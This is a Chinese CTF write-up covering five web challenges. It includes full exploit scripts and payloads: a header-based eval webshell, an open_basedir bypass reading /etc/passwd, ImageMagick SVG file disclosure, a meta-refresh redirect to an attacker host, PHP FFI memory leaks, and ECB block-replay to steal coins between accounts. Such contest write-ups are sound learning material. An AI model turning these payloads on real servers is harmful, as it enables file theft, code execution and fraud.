比赛的时候做题一头雾水,很多题一知半解,不能自己独立完成,赛后看飘零师傅的题解进一步学习。
Cloud Computing 一道出在了 Misc 的题目,但是考的是 web 的 open_basedir bypass。
进入题目,给出源码:
<?php error_reporting(0 ); include 'function.php' ;$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR' ] . $_SERVER['HTTP_USER_AGENT' ]) . '/' ; if (!file_exists($dir)){ mkdir($dir); } switch ($_GET["action" ] ?? "" ) { case 'pwd' : echo $dir; break ; case 'upload' : $data = $_GET["data" ] ?? "" ; if (waf($data)) { die ('waf sucks...' ); } file_put_contents("$dir" . "index.php" , $data); case 'shell' : initShellEnv($dir); include $dir . "index.php" ; break ; default : highlight_file(__FILE__ ); break ; }
显然需要在传参upload
时写入小马 getshell,然后再传参shell
来进行 RCE。
解题 由于引号,下划线等字符等字符被ban掉了,因此考虑无参数RCE,利用eval(end(getallheaders()))
的方式结合在请求头中添加要执行的code从而bypass waf。
data = "<?=eval(end(getallheaders()));?>" code = r"var_dump('ggb0n');" headers = {'a' :code}
执行结果如下:
但是依旧无法使用 phpinfo 等函数,怀疑是被disable_function给禁了,这里开启报错查看原因:
code = r"error_reporting(-1);phpinfo();"
可以看到函数确实被禁了,同时借助 readfile 函数发现开启了 open basedir:
但是 sandbox 中可以任意创建文件和目录,因此可以结合 mkdir 和 chdir 进行 bypass,payload 如下:
code = "error_reporting(E_ALL);chdir(' sandbox/52933 f6438c743819c0d2b1031d5547ab025d7d1/');mkdir(' x');chdir ('x' );ini_set('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set('open_basedir' ,'/' );print(base64_encode(file_get_contents('/etc/passwd' )));"
回显如下:
可见成功 bypass,然后读取根目录下的 flag 文件即可,拿到一个 img 文件,其中隐藏了 flag 的图片。
完整exp如下:
import requestsimport urllib url = "http://pwnable.org:47780/?action=upload&data=%s" data = "<?=eval(end(getallheaders()));?>" code = "error_reporting(E_ALL);chdir('sandbox/52933f6438c743819c0d2b1031d5547ab025d7d1/');mkdir('x');chdir('x');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(base64_encode(file_get_contents('/flag')));" headers = {'a' :code} dir_url = "http://pwnable.org:47780/?action=pwd" first_url = url % data second_url = "http://pwnable.org:47780/?action=shell" r = requests.get(url=dir_url) print(r.content) r = requests.get(url=first_url,headers=headers) print(r.content) r = requests.get(url=second_url,headers=headers) print(r.content)
Wechat Generator 这题考察 ImageMagick 和 XSS
解题 拿到题目发现是一个生成聊天图片的页面,有 preview 和 share 两个按钮,前者用于生成,后者用于分享。
share 按钮可以获取到一个 url,即为生成图片的 url
访问该路径可以得到如下信息:
图中可以看到,我们会得到一个 png 的路径,浏览器去访问就可以得到生成的 png 图片,如果将 png 改为 txt 则会报错,但是改为 htm 却可以正常访问:
可以看到,回显中包含提交的信息字段内容,并且解析为 html 了,那么我们是否可以考虑引入标签进行闭合?
先看下 data 传参的内容:
我们构造 data 内容去读取flag试试,构造如下payload:
[{"type" :0 ,"message" :"[aaa\" /><image width=\"512\" height=\"512\" href=\"text:/flag\"/>]" }]
提交之后点击 share 按钮访问,得到生成的图片,放大之后看到内容如下:
说明这个思路是对的,那尝试读取 web 文件路径,想要读取/proc/self/
下的内容,但是proc
被过滤,双写绕过即可:
[{"type" :0 ,"message" :"[aaa\" /><image width=\"512\" height=\"512\" href=\"text:/prprococ/self\"/>]" }]
提交之后再次 share,得到图片信息如下:
说明这个方法是没问题的,通过寻找,可以发现/app/app.py
存在,并且包含关键信息,如下payload读取:
[{"type" :0 ,"message" :"[aaa\" /><image width=\"512\" height=\"512\" href=\"text:/app/app.py\"/>]" }]
可以看到,存在/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws
路由,访问之后,页面跳转:
也就是要我们去构造 xss,使服务端触发 alert(1)
但是题目中存在CSP:
img-src * data:; default-src 'self' ; style-src 'self' 'unsafe-inline' ; connect-src 'self' ; object-src 'none' ; base-uri 'self'
并且 src 被过滤,还是通过双写进行绕过,但是又找不到可控的 js 文件,于是考虑用meta
标签进行跳转:
[{"type" :0 ,"message" :"[aaa\" /><meMETAta content=\"0;url=http://ip/x.html\" http-equiv=\"refresh\">]" }]
注意使用htm
后缀。
easyphp 考察 bypass open_basedir
解题 首先 phpinfo 看一下,发现 disable_functions、open_basedir:
目录不可写,用如下的代码传参过去读取目录:
$file_list = array (); $it = new DirectoryIterator("glob:///*" ); foreach ($it as $f){ $file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob:///.*" ); foreach ($it as $f){ $file_list[] = $f->__toString(); } sort($file_list); foreach ($file_list as $f){ echo "{$f} " ;}
发现了 flag.h 和 flag.o 的存在,蚁剑插件“脚本执行”执行如下代码读取 flag.h 内容:
mkdir ('minx' );chdir ('minx' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );echo file_get_contents ('/flag.h' );
得到 flag.h 的内容如下:
#define FFI_LIB "/flag.so" #define FFI_SCOPE "flag" char * flag_fUn3t1on_fFi () ;
php 7.4可使用 FFI 调用 c 函数,于是查看phpinfo,开启了 FFI。
再执行如下代码读取到 flag:
$ffi = FFI::load("/flag.h" ); $a = $ffi->flag_fUn3t1on_fFi(); for ($i=0 ; $i < 30 ; $i++) { print_r($a[$i]); }
noeasyphp 继续考察 FFI,只不过php版本提高了,API也更改了。
解题 蚁剑脚本执行:
var_dump(scandir ('glob:///* '))
发现仍然存在 flag.h 和 flag.o,想办法读取 flag.h,但是不像上一题,直接给出了读取 flag 的函数名,并且将 FFI:cdef 给禁用了,只好利用 FFI 中与内存相关的函数进行内存泄露,从而获取函数名。
飘零师傅的 exp:
import requestsurl = "http://pwnable.org:19261" params = {"rh" :''' try { $ffi=FFI::load("/flag.h"); //get flag //$a = $ffi->flag_wAt3_uP_apA3H1(); //for($i = 0; $i < 128; $i++){ echo $a[$i]; //} $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5] = 'l'; $a[6] = 'a'; $a[7] = 'g'; $b = $ffi->new("char[8]", false); $b[0] = 'f'; $b[1] = 'l'; $b[2] = 'a'; $b[3] = 'g'; $newa = $ffi->cast("void*", $a); var_dump($newa); $newb = $ffi->cast("void*", $b); var_dump($newb); $addr_of_a = FFI::new("unsigned long long"); FFI::memcpy($addr_of_a, FFI::addr($newa), 8); var_dump($addr_of_a); $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false); FFI::memcpy($leak, $newa-0x20000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); //var_dump($leak); //$leak[0] = 0xdeadbeef; //$leak[1] = 0x61616161; //var_dump($a); //FFI::memcpy($newa-0x8, $leak, 128*8); //var_dump($a); //var_dump(777); } catch (FFI\Exception $ex) { echo $ex->getMessage(), PHP_EOL; } var_dump(1); ''' }res = requests.get(url=url,params=params) print((res.text).encode("utf-8" ))
获取到函数名$a = $ffi->flag_wAt3_uP_apA3H1();
再次执行如下代码即可获取 flag:
$ffi = FFI::load("/flag.h" ); $a = $ffi->flag_wAt3_uP_apA3H1(); for ($i=0 ; $i < 30 ; $i++) { print_r($a[$i]); }
lottery 一道 web + crypto 题目,考察分组密码的重放攻击,利用多个用户进行偷钱。
解题 题目共有五个接口:register
、login
、buy
、info
、charge
注册并登录之后可以购买 lottery 或者购买 flag,但是 coin 明显不够,需要通过购买 lottery 来增加 coin,但是仅仅这样几乎不可能凑得狗钱去买 flag。
首先看一下 buy、info、charge三个路由的作用:
buy 可以购买 lottery,以此来增加 coin:
通过 bp 截包,可以发现点击 buy 之后,会跳转 info 路由,该路由是对上图中生成的 enc 进行解密,得到明文信息:
charge 路由是提交购买 lottery 的申请:
比赛的时候尝试直接改 coin 传参的值,结果行不通,由于不知道密文的生成方式,后面就是密码学师傅做出来的了。赛后看飘零师傅的题解才明白是分组密码的重放攻击。
分析过程 生成几组密文,结果发现每组密文的结尾是一样的,
NFEbZFZjCg3 gtWhc8 Ys7 VqHQA95 DryQjHRh2 tLARA2 gqu5 s\/0 Tt0 wSubjKo9 CR7 rFnjfKMixVIRY5 dbMQ9 \/5 AYlLiR7 zBGZoi3 DhTX7 idZjl51 uaWb7 fyDebazEdvb6 joTDaZjFZc5 Bt0 z8 ZhTNb0 fbSt9 reYD8 AcCI4 hIXsxZg=KS2 YKOxItMGdsfQsaKqRtwIqSIxFrGVl\/n0 QqIvlfMJDLDFMDG67 cwWd4 r\/fxwFdi5 OUGyUHac9 \/FSi9 \/T54 JBdL4 iacaoV3 cTJciBy8 zyODFKFwXCcaytygQNtwfZdEK6 FWrCvVHCIYPIch4 ewOSPbSt9 reYD8 AcCI4 hIXsxZg=
转为16进制发现最后的32位均为f6d2b7dade603f007022388485ecc598
,应该是32位的padding,同时看到密文总长是256位。猜测位ECB分组模式的密码,普遍的攻击方式是重放攻击。
通过对两个不同用户的 enc 的 16 进制数据进行32、64、96、128位的替换,发现当替换128位时,将用户1的 lottery 完全替换为了用户2的 lottery,但是同时 user 的前两位也被替换了。
解题思路就是通过爆破注册多个可以使 user 的前两位一样的用户,爆破脚本如下:
import requestsimport randomregister_url = 'http://pwnable.org:2333/user/register' login_url = 'http://pwnable.org:2333/user/login' lottery_url = 'http://pwnable.org:2333/lottery/buy' info_url = 'http://pwnable.org:2333/lottery/info' usnamelist = "abcdefghijklmnopqrstuvwxyz" def register (usname,passwd,url) : usname = usname passwd = passwd url = url data = {'username' :usname,'password' :passwd} r = requests.post(url=url,data=data) return r.content def login (usname,passwd,url) : usname = usname passwd = passwd url = url data = {'username' :usname,'password' :passwd} r = requests.post(url=url,data=data) return r.content def buy (token,url) : token = token url = url data = {'api_token' :token} r = requests.post(url=url,data=data) return r.json def info (enc,url) : enc = enc url = url data = {"enc" :enc} r = requests.post(url=url,data=data) return r.json passwd = 123 for i in range(10000 ): usname = "" for j in range(random.randint(0 ,20 )): usname += random.choice(usnamelist) print(register(usname,passwd,register_url))
可以利用 linux 的管道方便地拿到满足要求的用户信息:
python3 lottery爆破用户名.py | grep '"uuid":"bc' b'{"user":{"username":"misiifcyboqwa","uuid":"bca638f6-ffb4-4c12-8c79-42add23d90e5","updated_at":"2020-07-01T05:41:02.000000Z","created_at":"2020-07-01T05:41:02.000000Z","id":630605}}' b'{"user":{"username":"pnihrkpjeocgynhz","uuid":"bce2d26c-92fa-48fc-a2c2-d5ff5e1da6f5","updated_at":"2020-07-01T05:42:09.000000Z","created_at":"2020-07-01T05:42:09.000000Z","id":630734}}' b'{"user":{"username":"tkb","uuid":"bc10a197-1215-4c4e-bdbe-25145108198d","updated_at":"2020-07-01T05:42:46.000000Z","created_at":"2020-07-01T05:42:46.000000Z","id":630799}}' b'{"user":{"username":"csuxhbbrdtebsdpue","uuid":"bc87488d-caee-411a-bf4f-c75a17090b5a","updated_at":"2020-07-01T05:44:52.000000Z","created_at":"2020-07-01T05:44:52.000000Z","id":631052}}' b'{"user":{"username":"kncwealurtcj","uuid":"bc7a033e-d341-42a0-b931-08592ee81e2f","updated_at":"2020-07-01T05:47:43.000000Z","created_at":"2020-07-01T05:47:43.000000Z","id":631362}}' b'{"user":{"username":"cwbaszukw","uuid":"bc09265e-f0d6-4104-bd11-bd6d29835a00","updated_at":"2020-07-01T05:50:03.000000Z","created_at":"2020-07-01T05:50:03.000000Z","id":631663}}' b'{"user":{"username":"uhenpkasxlveidif","uuid":"bc00fef1-ec7b-48e6-bc86-3f2ee89da15b","updated_at":"2020-07-01T05:51:13.000000Z","created_at":"2020-07-01T05:51:13.000000Z","id":631786}}' b'{"user":{"username":"vwurpqhaavjihvuqokyx","uuid":"bc248486-e6d2-437d-8b2d-ee2c3dad1a72","updated_at":"2020-07-01T05:55:55.000000Z","created_at":"2020-07-01T05:55:55.000000Z","id":632333}}' ...
然后用下面的代码进行替换,将其他用户的 lottery 替换掉 user1 的 lottery,如此以来,就可以将其他用户的 coin 转移给 user1了,即可购买 flag。
import base64import urllibnow_c = "IpG6gymO3Jhd9hgirFfF\\/GZ9An9W7hmfpWnFZEvQ9V4wKQrh4UbaaAm0rp2g2I4WirFyVLzg5KZKQxsPrT53Wot80sjMPhsXy0irOua24Da9KDh1YiMsqS6Q6KJWU5xTdbZ34x8c0bloA9X4\\/fMN6vbSt9reYD8AcCI4hIXsxZg=" another_c = "RNeqoksqjZqjs30IlB4JPaQykvrhhJLviciRBGyYNT0DZbqCkAeQT3L9wJeKwt2FtxIuzzKznobqBur9sRvygvv3jwyYLL1MQR7+AzHT7kug1CQEqkGMqmKZk4ZsdpGluPGbrp5x9YrQ3PKM0MXGcvbSt9reYD8AcCI4hIXsxZg=" now_c = base64.b64decode(now_c).encode('hex' ) another_c = base64.b64decode(another_c).encode('hex' ) print now_cprint another_cindex = 128 print urllib.quote(base64.b64encode((another_c[:index] + now_c[index:]).decode('hex' )))
注意由于每个 lottery 只能用一次,因此每个用于提供 coin 的用户每次都要重新生成 lottery,然后对 user1 的lottery进行替换即可。
还需要注意一点,由于 token 的存在,同一台 PC 只能保持一个用户的连接,再开一台虚拟机登录其他用户提供 coin 即可。
效果如下: